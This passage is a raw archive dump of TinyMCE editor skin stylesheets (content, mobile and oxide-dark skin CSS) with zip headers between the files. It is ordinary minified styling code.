div.mce-resizehandle{background-color:#4099ff;border-color:#4099ff;border-style:solid;border-width:1px;box-sizing:border-box;height:10px;position:absolute;width:10px;z-index:1298}.mce-content-body div.mce-resizehandle:hover{background-color:#4099ff}.mce-content-body div.mce-resizehandle:nth-of-type(1){cursor:nwse-resize}.mce-content-body div.mce-resizehandle:nth-of-type(2){cursor:nesw-resize}.mce-content-body div.mce-resizehandle:nth-of-type(3){cursor:nwse-resize}.mce-content-body div.mce-resizehandle:nth-of-type(4){cursor:nesw-resize}.mce-content-body .mce-resize-backdrop{z-index:10000}.mce-content-body .mce-clonedresizable{cursor:default;opacity:.5;outline:1px dashed #000;position:absolute;z-index:10001}.mce-content-body .mce-clonedresizable.mce-resizetable-columns td,.mce-content-body .mce-clonedresizable.mce-resizetable-columns th{border:0}.mce-content-body .mce-resize-helper{background:#555;background:rgba(0,0,0,.75);border:1px;border-radius:3px;color:#fff;display:none;font-family:sans-serif;font-size:12px;line-height:14px;margin:5px 10px;padding:5px;position:absolute;white-space:nowrap;z-index:10002}.tox-rtc-user-selection{position:relative}.tox-rtc-user-cursor{bottom:0;cursor:default;position:absolute;top:0;width:2px}.tox-rtc-user-cursor::before{background-color:inherit;border-radius:50%;content:'';display:block;height:8px;position:absolute;right:-3px;top:-3px;width:8px}.tox-rtc-user-cursor:hover::after{background-color:inherit;border-radius:100px;box-sizing:border-box;color:#fff;content:attr(data-user);display:block;font-size:12px;font-weight:700;left:-5px;min-height:8px;min-width:8px;padding:0 12px;position:absolute;top:-11px;white-space:nowrap;z-index:1000}.tox-rtc-user-selection--1 .tox-rtc-user-cursor{background-color:#2dc26b}.tox-rtc-user-selection--2 .tox-rtc-user-cursor{background-color:#e03e2d}.tox-rtc-user-selection--3 .tox-rtc-user-cursor{background-color:#f1c40f}.tox-rtc-user-selection--4 .tox-rtc-user-cursor{background-color:#3598db}.tox-rtc-user-selection--5 .tox-rtc-user-cursor{background-color:#b96ad9}.tox-rtc-user-selection--6 .tox-rtc-user-cursor{background-color:#e67e23}.tox-rtc-user-selection--7 .tox-rtc-user-cursor{background-color:#aaa69d}.tox-rtc-user-selection--8 .tox-rtc-user-cursor{background-color:#f368e0}.tox-rtc-remote-image{background:#eaeaea url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D%2236%22%20height%3D%2212%22%20viewBox%3D%220%200%2036%2012%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%3Ccircle%20cx%3D%226%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%20%20%3Ccircle%20cx%3D%2218%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20begin%3D%22.33s%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%20%20%3Ccircle%20cx%3D%2230%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20begin%3D%22.66s%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%3C%2Fsvg%3E%0A") no-repeat center center;border:1px solid #ccc;min-height:240px;min-width:320px}.mce-match-marker{background:#aaa;color:#fff}.mce-match-marker-selected{background:#39f;color:#fff}.mce-match-marker-selected::-moz-selection{background:#39f;color:#fff}.mce-match-marker-selected::selection{background:#39f;color:#fff}.mce-content-body audio[data-mce-selected],.mce-content-body embed[data-mce-selected],.mce-content-body img[data-mce-selected],.mce-content-body object[data-mce-selected],.mce-content-body table[data-mce-selected],.mce-content-body video[data-mce-selected]{outline:3px solid #b4d7ff}.mce-content-body hr[data-mce-selected]{outline:3px solid #b4d7ff;outline-offset:1px}.mce-content-body [contentEditable=false] [contentEditable=true]:focus{outline:3px solid #b4d7ff}.mce-content-body [contentEditable=false] [contentEditable=true]:hover{outline:3px solid #b4d7ff}.mce-content-body [contentEditable=false][data-mce-selected]{cursor:not-allowed;outline:3px solid #b4d7ff}.mce-content-body.mce-content-readonly [contentEditable=true]:focus,.mce-content-body.mce-content-readonly [contentEditable=true]:hover{outline:0}.mce-content-body [data-mce-selected=inline-boundary]{background-color:#b4d7ff}.mce-content-body .mce-edit-focus{outline:3px solid #b4d7ff}.mce-content-body td[data-mce-selected],.mce-content-body th[data-mce-selected]{position:relative}.mce-content-body td[data-mce-selected]::-moz-selection,.mce-content-body th[data-mce-selected]::-moz-selection{background:0 0}.mce-content-body td[data-mce-selected]::selection,.mce-content-body th[data-mce-selected]::selection{background:0 0}.mce-content-body td[data-mce-selected] *,.mce-content-body th[data-mce-selected] *{outline:0;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.mce-content-body td[data-mce-selected]::after,.mce-content-body th[data-mce-selected]::after{background-color:rgba(180,215,255,.7);border:1px solid rgba(180,215,255,.7);bottom:-1px;content:'';left:-1px;mix-blend-mode:multiply;position:absolute;right:-1px;top:-1px}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.mce-content-body td[data-mce-selected]::after,.mce-content-body th[data-mce-selected]::after{border-color:rgba(0,84,180,.7)}}.mce-content-body img::-moz-selection{background:0 0}.mce-content-body img::selection{background:0 0}.ephox-snooker-resizer-bar{background-color:#b4d7ff;opacity:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ephox-snooker-resizer-cols{cursor:col-resize}.ephox-snooker-resizer-rows{cursor:row-resize}.ephox-snooker-resizer-bar.ephox-snooker-resizer-bar-dragging{opacity:1}.mce-spellchecker-word{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'4'%20height%3D'4'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20stroke%3D'%23ff0000'%20fill%3D'none'%20stroke-linecap%3D'round'%20stroke-opacity%3D'.75'%20d%3D'M0%203L2%201%204%203'%2F%3E%3C%2Fsvg%3E%0A");background-position:0 calc(100% + 1px);background-repeat:repeat-x;background-size:auto 6px;cursor:default;height:2rem}.mce-spellchecker-grammar{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'4'%20height%3D'4'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20stroke%3D'%2300A835'%20fill%3D'none'%20stroke-linecap%3D'round'%20d%3D'M0%203L2%201%204%203'%2F%3E%3C%2Fsvg%3E%0A");background-position:0 calc(100% + 1px);background-repeat:repeat-x;background-size:auto 6px;cursor:default}.mce-toc{border:1px solid gray}.mce-toc h2{margin:4px}.mce-toc li{list-style-type:none}.mce-item-table:not([border]),.mce-item-table:not([border]) caption,.mce-item-table:not([border]) td,.mce-item-table:not([border]) th,.mce-item-table[border="0"],.mce-item-table[border="0"] caption,.mce-item-table[border="0"] td,.mce-item-table[border="0"] th,table[style*="border-width: 0px"],table[style*="border-width: 0px"] caption,table[style*="border-width: 0px"] td,table[style*="border-width: 0px"] th{border:1px dashed #bbb}.mce-visualblocks address,.mce-visualblocks article,.mce-visualblocks aside,.mce-visualblocks blockquote,.mce-visualblocks div:not([data-mce-bogus]),.mce-visualblocks dl,.mce-visualblocks figcaption,.mce-visualblocks figure,.mce-visualblocks h1,.mce-visualblocks h2,.mce-visualblocks h3,.mce-visualblocks h4,.mce-visualblocks h5,.mce-visualblocks h6,.mce-visualblocks hgroup,.mce-visualblocks ol,.mce-visualblocks p,.mce-visualblocks pre,.mce-visualblocks section,.mce-visualblocks ul{background-repeat:no-repeat;border:1px dashed #bbb;margin-left:3px;padding-top:10px}.mce-visualblocks p{background-image:url(data:image/gif;base64,R0lGODlhCQAJAJEAAAAAAP///7u7u////yH5BAEAAAMALAAAAAAJAAkAAAIQnG+CqCN/mlyvsRUpThG6AgA7)}.mce-visualblocks h1{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGu1JuxHoAfRNRW3TWXyF2YiRUAOw==)}.mce-visualblocks h2{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8Hybbx4oOuqgTynJd6bGlWg3DkJzoaUAAAOw==)}.mce-visualblocks h3{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIZjI8Hybbx4oOuqgTynJf2Ln2NOHpQpmhAAQA7)}.mce-visualblocks h4{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxInR0zqeAdhtJlXwV1oCll2HaWgAAOw==)}.mce-visualblocks h5{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjane4iq5GlW05GgIkIZUAAAOw==)}.mce-visualblocks h6{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjan04jep1iZ1XRlAo5bVgAAOw==)}.mce-visualblocks div:not([data-mce-bogus]){background-image:url(data:image/gif;base64,R0lGODlhEgAKAIABALu7u////yH5BAEAAAEALAAAAAASAAoAAAIfjI9poI0cgDywrhuxfbrzDEbQM2Ei5aRjmoySW4pAAQA7)}.mce-visualblocks section{background-image:url(data:image/gif;base64,R0lGODlhKAAKAIABALu7u////yH5BAEAAAEALAAAAAAoAAoAAAI5jI+pywcNY3sBWHdNrplytD2ellDeSVbp+GmWqaDqDMepc8t17Y4vBsK5hDyJMcI6KkuYU+jpjLoKADs=)}.mce-visualblocks article{background-image:url(data:image/gif;base64,R0lGODlhKgAKAIABALu7u////yH5BAEAAAEALAAAAAAqAAoAAAI6jI+pywkNY3wG0GBvrsd2tXGYSGnfiF7ikpXemTpOiJScasYoDJJrjsG9gkCJ0ag6KhmaIe3pjDYBBQA7)}.mce-visualblocks blockquote{background-image:url(data:image/gif;base64,R0lGODlhPgAKAIABALu7u////yH5BAEAAAEALAAAAAA+AAoAAAJPjI+py+0Knpz0xQDyuUhvfoGgIX5iSKZYgq5uNL5q69asZ8s5rrf0yZmpNkJZzFesBTu8TOlDVAabUyatguVhWduud3EyiUk45xhTTgMBBQA7)}.mce-visualblocks address{background-image:url(data:image/gif;base64,R0lGODlhLQAKAIABALu7u////yH5BAEAAAEALAAAAAAtAAoAAAI/jI+pywwNozSP1gDyyZcjb3UaRpXkWaXmZW4OqKLhBmLs+K263DkJK7OJeifh7FicKD9A1/IpGdKkyFpNmCkAADs=)}.mce-visualblocks pre{background-image:url(data:image/gif;base64,R0lGODlhFQAKAIABALu7uwAAACH5BAEAAAEALAAAAAAVAAoAAAIjjI+ZoN0cgDwSmnpz1NCueYERhnibZVKLNnbOq8IvKpJtVQAAOw==)}.mce-visualblocks figure{background-image:url(data:image/gif;base64,R0lGODlhJAAKAIAAALu7u////yH5BAEAAAEALAAAAAAkAAoAAAI0jI+py+2fwAHUSFvD3RlvG4HIp4nX5JFSpnZUJ6LlrM52OE7uSWosBHScgkSZj7dDKnWAAgA7)}.mce-visualblocks figcaption{border:1px dashed #bbb}.mce-visualblocks hgroup{background-image:url(data:image/gif;base64,R0lGODlhJwAKAIABALu7uwAAACH5BAEAAAEALAAAAAAnAAoAAAI3jI+pywYNI3uB0gpsRtt5fFnfNZaVSYJil4Wo03Hv6Z62uOCgiXH1kZIIJ8NiIxRrAZNMZAtQAAA7)}.mce-visualblocks aside{background-image:url(data:image/gif;base64,R0lGODlhHgAKAIABAKqqqv///yH5BAEAAAEALAAAAAAeAAoAAAItjI+pG8APjZOTzgtqy7I3f1yehmQcFY4WKZbqByutmW4aHUd6vfcVbgudgpYCADs=)}.mce-visualblocks ul{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIAAALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGuYnqUVSjvw26DzzXiqIDlVwAAOw==)}.mce-visualblocks ol{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybH6HHt0qourxC6CvzXieHyeWQAAOw==)}.mce-visualblocks dl{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybEOnmOvUoWznTqeuEjNSCqeGRUAOw==)}.mce-visualblocks:not([dir=rtl]) address,.mce-visualblocks:not([dir=rtl]) article,.mce-visualblocks:not([dir=rtl]) aside,.mce-visualblocks:not([dir=rtl]) blockquote,.mce-visualblocks:not([dir=rtl]) div:not([data-mce-bogus]),.mce-visualblocks:not([dir=rtl]) dl,.mce-visualblocks:not([dir=rtl]) figcaption,.mce-visualblocks:not([dir=rtl]) figure,.mce-visualblocks:not([dir=rtl]) h1,.mce-visualblocks:not([dir=rtl]) h2,.mce-visualblocks:not([dir=rtl]) h3,.mce-visualblocks:not([dir=rtl]) h4,.mce-visualblocks:not([dir=rtl]) h5,.mce-visualblocks:not([dir=rtl]) h6,.mce-visualblocks:not([dir=rtl]) hgroup,.mce-visualblocks:not([dir=rtl]) ol,.mce-visualblocks:not([dir=rtl]) p,.mce-visualblocks:not([dir=rtl]) pre,.mce-visualblocks:not([dir=rtl]) section,.mce-visualblocks:not([dir=rtl]) ul{margin-left:3px}.mce-visualblocks[dir=rtl] address,.mce-visualblocks[dir=rtl] article,.mce-visualblocks[dir=rtl] aside,.mce-visualblocks[dir=rtl] blockquote,.mce-visualblocks[dir=rtl] div:not([data-mce-bogus]),.mce-visualblocks[dir=rtl] dl,.mce-visualblocks[dir=rtl] figcaption,.mce-visualblocks[dir=rtl] figure,.mce-visualblocks[dir=rtl] h1,.mce-visualblocks[dir=rtl] h2,.mce-visualblocks[dir=rtl] h3,.mce-visualblocks[dir=rtl] h4,.mce-visualblocks[dir=rtl] h5,.mce-visualblocks[dir=rtl] h6,.mce-visualblocks[dir=rtl] hgroup,.mce-visualblocks[dir=rtl] ol,.mce-visualblocks[dir=rtl] p,.mce-visualblocks[dir=rtl] pre,.mce-visualblocks[dir=rtl] section,.mce-visualblocks[dir=rtl] ul{background-position-x:right;margin-right:3px}.mce-nbsp,.mce-shy{background:#aaa}.mce-shy::after{content:'-'}
PK
h�\_�IJ  =program/js/tinymce/skins/ui/oxide-dark/content.mobile.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
.tinymce-mobile-unfocused-selections .tinymce-mobile-unfocused-selection{background-color:green;display:inline-block;opacity:.5;position:absolute}body{-webkit-text-size-adjust:none}body img{max-width:96vw}body table img{max-width:95%}body{font-family:sans-serif}table{border-collapse:collapse}
PK
h�\�X�2����3program/js/tinymce/skins/ui/oxide-dark/skin.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
.tox{box-shadow:none;box-sizing:content-box;color:#2a3746;cursor:auto;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:16px;font-style:normal;font-weight:400;line-height:normal;-webkit-tap-highlight-color:transparent;text-decoration:none;text-shadow:none;text-transform:none;vertical-align:initial;white-space:normal}.tox :not(svg):not(rect){box-sizing:inherit;color:inherit;cursor:inherit;direction:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;line-height:inherit;-webkit-tap-highlight-color:inherit;text-align:inherit;text-decoration:inherit;text-shadow:inherit;text-transform:inherit;vertical-align:inherit;white-space:inherit}.tox :not(svg):not(rect){background:0 0;border:0;box-shadow:none;float:none;height:auto;margin:0;max-width:none;outline:0;padding:0;position:static;width:auto}.tox:not([dir=rtl]){direction:ltr;text-align:left}.tox[dir=rtl]{direction:rtl;text-align:right}.tox-tinymce{border:1px solid #000;border-radius:0;box-shadow:none;box-sizing:border-box;display:flex;flex-direction:column;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;overflow:hidden;position:relative;visibility:inherit!important}.tox-tinymce-inline{border:none;box-shadow:none}.tox-tinymce-inline .tox-editor-header{background-color:transparent;border:1px solid #000;border-radius:0;box-shadow:none}.tox-tinymce-aux{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;z-index:1300}.tox-tinymce :focus,.tox-tinymce-aux :focus{outline:0}button::-moz-focus-inner{border:0}.tox[dir=rtl] .tox-icon--flip svg{transform:rotateY(180deg)}.tox .accessibility-issue__header{align-items:center;display:flex;margin-bottom:4px}.tox .accessibility-issue__description{align-items:stretch;border:1px solid #000;border-radius:3px;display:flex;justify-content:space-between}.tox .accessibility-issue__description>div{padding-bottom:4px}.tox .accessibility-issue__description>div>div{align-items:center;display:flex;margin-bottom:4px}.tox .accessibility-issue__description>:last-child:not(:only-child){border-color:#000;border-style:solid}.tox .accessibility-issue__repair{margin-top:16px}.tox .tox-dialog__body-content .accessibility-issue--info .accessibility-issue__description{background-color:rgba(32,122,183,.5);border-color:#207ab7;color:#fff}.tox .tox-dialog__body-content .accessibility-issue--info .accessibility-issue__description>:last-child{border-color:#207ab7}.tox .tox-dialog__body-content .accessibility-issue--info .tox-form__group h2{color:#fff}.tox .tox-dialog__body-content .accessibility-issue--info .tox-icon svg{fill:#fff}.tox .tox-dialog__body-content .accessibility-issue--info a .tox-icon{color:#fff}.tox .tox-dialog__body-content .accessibility-issue--warn .accessibility-issue__description{background-color:rgba(255,165,0,.5);border-color:rgba(255,165,0,.8);color:#fff}.tox .tox-dialog__body-content .accessibility-issue--warn .accessibility-issue__description>:last-child{border-color:rgba(255,165,0,.8)}.tox .tox-dialog__body-content .accessibility-issue--warn .tox-form__group h2{color:#fff}.tox .tox-dialog__body-content .accessibility-issue--warn .tox-icon svg{fill:#fff}.tox .tox-dialog__body-content .accessibility-issue--warn a .tox-icon{color:#fff}.tox .tox-dialog__body-content .accessibility-issue--error .accessibility-issue__description{background-color:rgba(204,0,0,.5);border-color:rgba(204,0,0,.8);color:#fff}.tox .tox-dialog__body-content .accessibility-issue--error .accessibility-issue__description>:last-child{border-color:rgba(204,0,0,.8)}.tox .tox-dialog__body-content .accessibility-issue--error .tox-form__group h2{color:#fff}.tox .tox-dialog__body-content .accessibility-issue--error .tox-icon svg{fill:#fff}.tox .tox-dialog__body-content .accessibility-issue--error a .tox-icon{color:#fff}.tox .tox-dialog__body-content .accessibility-issue--success .accessibility-issue__description{background-color:rgba(120,171,70,.5);border-color:rgba(120,171,70,.8);color:#fff}.tox .tox-dialog__body-content .accessibility-issue--success .accessibility-issue__description>:last-child{border-color:rgba(120,171,70,.8)}.tox .tox-dialog__body-content .accessibility-issue--success .tox-form__group h2{color:#fff}.tox .tox-dialog__body-content .accessibility-issue--success .tox-icon svg{fill:#fff}.tox .tox-dialog__body-content .accessibility-issue--success a .tox-icon{color:#fff}.tox .tox-dialog__body-content .accessibility-issue__header h1,.tox .tox-dialog__body-content .tox-form__group .accessibility-issue__description h2{margin-top:0}.tox:not([dir=rtl]) .tox-dialog__body-content .accessibility-issue__header .tox-button{margin-left:4px}.tox:not([dir=rtl]) .tox-dialog__body-content .accessibility-issue__header>:nth-last-child(2){margin-left:auto}.tox:not([dir=rtl]) .tox-dialog__body-content .accessibility-issue__description{padding:4px 4px 4px 8px}.tox:not([dir=rtl]) .tox-dialog__body-content .accessibility-issue__description>:last-child{border-left-width:1px;padding-left:4px}.tox[dir=rtl] .tox-dialog__body-content .accessibility-issue__header .tox-button{margin-right:4px}.tox[dir=rtl] .tox-dialog__body-content .accessibility-issue__header>:nth-last-child(2){margin-right:auto}.tox[dir=rtl] .tox-dialog__body-content .accessibility-issue__description{padding:4px 8px 4px 4px}.tox[dir=rtl] .tox-dialog__body-content .accessibility-issue__description>:last-child{border-right-width:1px;padding-right:4px}.tox .tox-anchorbar{display:flex;flex:0 0 auto}.tox .tox-bar{display:flex;flex:0 0 auto}.tox .tox-button{background-color:#207ab7;background-image:none;background-position:0 0;background-repeat:repeat;border-color:#207ab7;border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;box-sizing:border-box;color:#fff;cursor:pointer;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:14px;font-style:normal;font-weight:700;letter-spacing:normal;line-height:24px;margin:0;outline:0;padding:4px 16px;text-align:center;text-decoration:none;text-transform:none;white-space:nowrap}.tox .tox-button[disabled]{background-color:#207ab7;background-image:none;border-color:#207ab7;box-shadow:none;color:rgba(255,255,255,.5);cursor:not-allowed}.tox .tox-button:focus:not(:disabled){background-color:#1c6ca1;background-image:none;border-color:#1c6ca1;box-shadow:none;color:#fff}.tox .tox-button:hover:not(:disabled){background-color:#1c6ca1;background-image:none;border-color:#1c6ca1;box-shadow:none;color:#fff}.tox .tox-button:active:not(:disabled){background-color:#185d8c;background-image:none;border-color:#185d8c;box-shadow:none;color:#fff}.tox .tox-button--secondary{background-color:#3d546f;background-image:none;background-position:0 0;background-repeat:repeat;border-color:#3d546f;border-radius:3px;border-style:solid;border-width:1px;box-shadow:none;color:#fff;font-size:14px;font-style:normal;font-weight:700;letter-spacing:normal;outline:0;padding:4px 16px;text-decoration:none;text-transform:none}.tox .tox-button--secondary[disabled]{background-color:#3d546f;background-image:none;border-color:#3d546f;box-shadow:none;color:rgba(255,255,255,.5)}.tox .tox-button--secondary:focus:not(:disabled){background-color:#34485f;background-image:none;border-color:#34485f;box-shadow:none;color:#fff}.tox .tox-button--secondary:hover:not(:disabled){background-color:#34485f;background-image:none;border-color:#34485f;box-shadow:none;color:#fff}.tox .tox-button--secondary:active:not(:disabled){background-color:#2b3b4e;background-image:none;border-color:#2b3b4e;box-shadow:none;color:#fff}.tox .tox-button--icon,.tox .tox-button.tox-button--icon,.tox .tox-button.tox-button--secondary.tox-button--icon{padding:4px}.tox .tox-button--icon .tox-icon svg,.tox .tox-button.tox-button--icon .tox-icon svg,.tox .tox-button.tox-button--secondary.tox-button--icon .tox-icon svg{display:block;fill:currentColor}.tox .tox-button-link{background:0;border:none;box-sizing:border-box;cursor:pointer;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:16px;font-weight:400;line-height:1.3;margin:0;padding:0;white-space:nowrap}.tox .tox-button-link--sm{font-size:14px}.tox .tox-button--naked{background-color:transparent;border-color:transparent;box-shadow:unset;color:#fff}.tox .tox-button--naked[disabled]{background-color:#3d546f;border-color:#3d546f;box-shadow:none;color:rgba(255,255,255,.5)}.tox .tox-button--naked:hover:not(:disabled){background-color:#34485f;border-color:#34485f;box-shadow:none;color:#fff}.tox .tox-button--naked:focus:not(:disabled){background-color:#34485f;border-color:#34485f;box-shadow:none;color:#fff}.tox .tox-button--naked:active:not(:disabled){background-color:#2b3b4e;border-color:#2b3b4e;box-shadow:none;color:#fff}.tox .tox-button--naked .tox-icon svg{fill:currentColor}.tox .tox-button--naked.tox-button--icon:hover:not(:disabled){color:#fff}.tox .tox-checkbox{align-items:center;border-radius:3px;cursor:pointer;display:flex;height:36px;min-width:36px}.tox .tox-checkbox__input{height:1px;overflow:hidden;position:absolute;top:auto;width:1px}.tox .tox-checkbox__icons{align-items:center;border-radius:3px;box-shadow:0 0 0 2px transparent;box-sizing:content-box;display:flex;height:24px;justify-content:center;padding:calc(4px - 1px);width:24px}.tox .tox-checkbox__icons .tox-checkbox-icon__unchecked svg{display:block;fill:rgba(255,255,255,.2)}.tox .tox-checkbox__icons .tox-checkbox-icon__indeterminate svg{display:none;fill:#207ab7}.tox .tox-checkbox__icons .tox-checkbox-icon__checked svg{display:none;fill:#207ab7}.tox .tox-checkbox--disabled{color:rgba(255,255,255,.5);cursor:not-allowed}.tox .tox-checkbox--disabled .tox-checkbox__icons .tox-checkbox-icon__checked svg{fill:rgba(255,255,255,.5)}.tox .tox-checkbox--disabled .tox-checkbox__icons .tox-checkbox-icon__unchecked svg{fill:rgba(255,255,255,.5)}.tox .tox-checkbox--disabled .tox-checkbox__icons .tox-checkbox-icon__indeterminate svg{fill:rgba(255,255,255,.5)}.tox input.tox-checkbox__input:checked+.tox-checkbox__icons .tox-checkbox-icon__unchecked svg{display:none}.tox input.tox-checkbox__input:checked+.tox-checkbox__icons .tox-checkbox-icon__checked svg{display:block}.tox input.tox-checkbox__input:indeterminate+.tox-checkbox__icons .tox-checkbox-icon__unchecked svg{display:none}.tox input.tox-checkbox__input:indeterminate+.tox-checkbox__icons .tox-checkbox-icon__indeterminate svg{display:block}.tox input.tox-checkbox__input:focus+.tox-checkbox__icons{border-radius:3px;box-shadow:inset 0 0 0 1px #207ab7;padding:calc(4px - 1px)}.tox:not([dir=rtl]) .tox-checkbox__label{margin-left:4px}.tox:not([dir=rtl]) .tox-checkbox__input{left:-10000px}.tox:not([dir=rtl]) .tox-bar .tox-checkbox{margin-left:4px}.tox[dir=rtl] .tox-checkbox__label{margin-right:4px}.tox[dir=rtl] .tox-checkbox__input{right:-10000px}.tox[dir=rtl] .tox-bar .tox-checkbox{margin-right:4px}.tox .tox-collection--toolbar .tox-collection__group{display:flex;padding:0}.tox .tox-collection--grid .tox-collection__group{display:flex;flex-wrap:wrap;max-height:208px;overflow-x:hidden;overflow-y:auto;padding:0}.tox .tox-collection--list .tox-collection__group{border-bottom-width:0;border-color:#1a1a1a;border-left-width:0;border-right-width:0;border-style:solid;border-top-width:1px;padding:4px 0}.tox .tox-collection--list .tox-collection__group:first-child{border-top-width:0}.tox .tox-collection__group-heading{background-color:#333;color:#fff;cursor:default;font-size:12px;font-style:normal;font-weight:400;margin-bottom:4px;margin-top:-4px;padding:4px 8px;text-transform:none;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.tox .tox-collection__item{align-items:center;color:#fff;cursor:pointer;display:flex;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.tox .tox-collection--list .tox-collection__item{padding:4px 8px}.tox .tox-collection--toolbar .tox-collection__item{border-radius:3px;padding:4px}.tox .tox-collection--grid .tox-collection__item{border-radius:3px;padding:4px}.tox .tox-collection--list .tox-collection__item--enabled{background-color:#2b3b4e;color:#fff}.tox .tox-collection--list .tox-collection__item--active{background-color:#4a5562}.tox .tox-collection--toolbar .tox-collection__item--enabled{background-color:#757d87;color:#fff}.tox .tox-collection--toolbar .tox-collection__item--active{background-color:#4a5562}.tox .tox-collection--grid .tox-collection__item--enabled{background-color:#757d87;color:#fff}.tox .tox-collection--grid .tox-collection__item--active:not(.tox-collection__item--state-disabled){background-color:#4a5562;color:#fff}.tox .tox-collection--list .tox-collection__item--active:not(.tox-collection__item--state-disabled){color:#fff}.tox .tox-collection--toolbar .tox-collection__item--active:not(.tox-collection__item--state-disabled){color:#fff}.tox .tox-collection__item-checkmark,.tox .tox-collection__item-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.tox .tox-collection__item-checkmark svg,.tox .tox-collection__item-icon svg{fill:currentColor}.tox .tox-collection--toolbar-lg .tox-collection__item-icon{height:48px;width:48px}.tox .tox-collection__item-label{color:currentColor;display:inline-block;flex:1;-ms-flex-preferred-size:auto;font-size:14px;font-style:normal;font-weight:400;line-height:24px;text-transform:none;word-break:break-all}.tox .tox-collection__item-accessory{color:rgba(255,255,255,.5);display:inline-block;font-size:14px;height:24px;line-height:24px;text-transform:none}.tox .tox-collection__item-caret{align-items:center;display:flex;min-height:24px}.tox .tox-collection__item-caret::after{content:'';font-size:0;min-height:inherit}.tox .tox-collection__item-caret svg{fill:#fff}.tox .tox-collection__item--state-disabled{background-color:transparent;color:rgba(255,255,255,.5);cursor:not-allowed}.tox .tox-collection__item--state-disabled .tox-collection__item-caret svg{fill:rgba(255,255,255,.5)}.tox .tox-collection--list .tox-collection__item:not(.tox-collection__item--enabled) .tox-collection__item-checkmark svg{display:none}.tox .tox-collection--list .tox-collection__item:not(.tox-collection__item--enabled) .tox-collection__item-accessory+.tox-collection__item-checkmark{display:none}.tox .tox-collection--horizontal{background-color:#2b3b4e;border:1px solid #1a1a1a;border-radius:3px;box-shadow:0 1px 3px rgba(0,0,0,.15);display:flex;flex:0 0 auto;flex-shrink:0;flex-wrap:nowrap;margin-bottom:0;overflow-x:auto;padding:0}.tox .tox-collection--horizontal .tox-collection__group{align-items:center;display:flex;flex-wrap:nowrap;margin:0;padding:0 4px}.tox .tox-collection--horizontal .tox-collection__item{height:34px;margin:2px 0 3px 0;padding:0 4px}.tox .tox-collection--horizontal 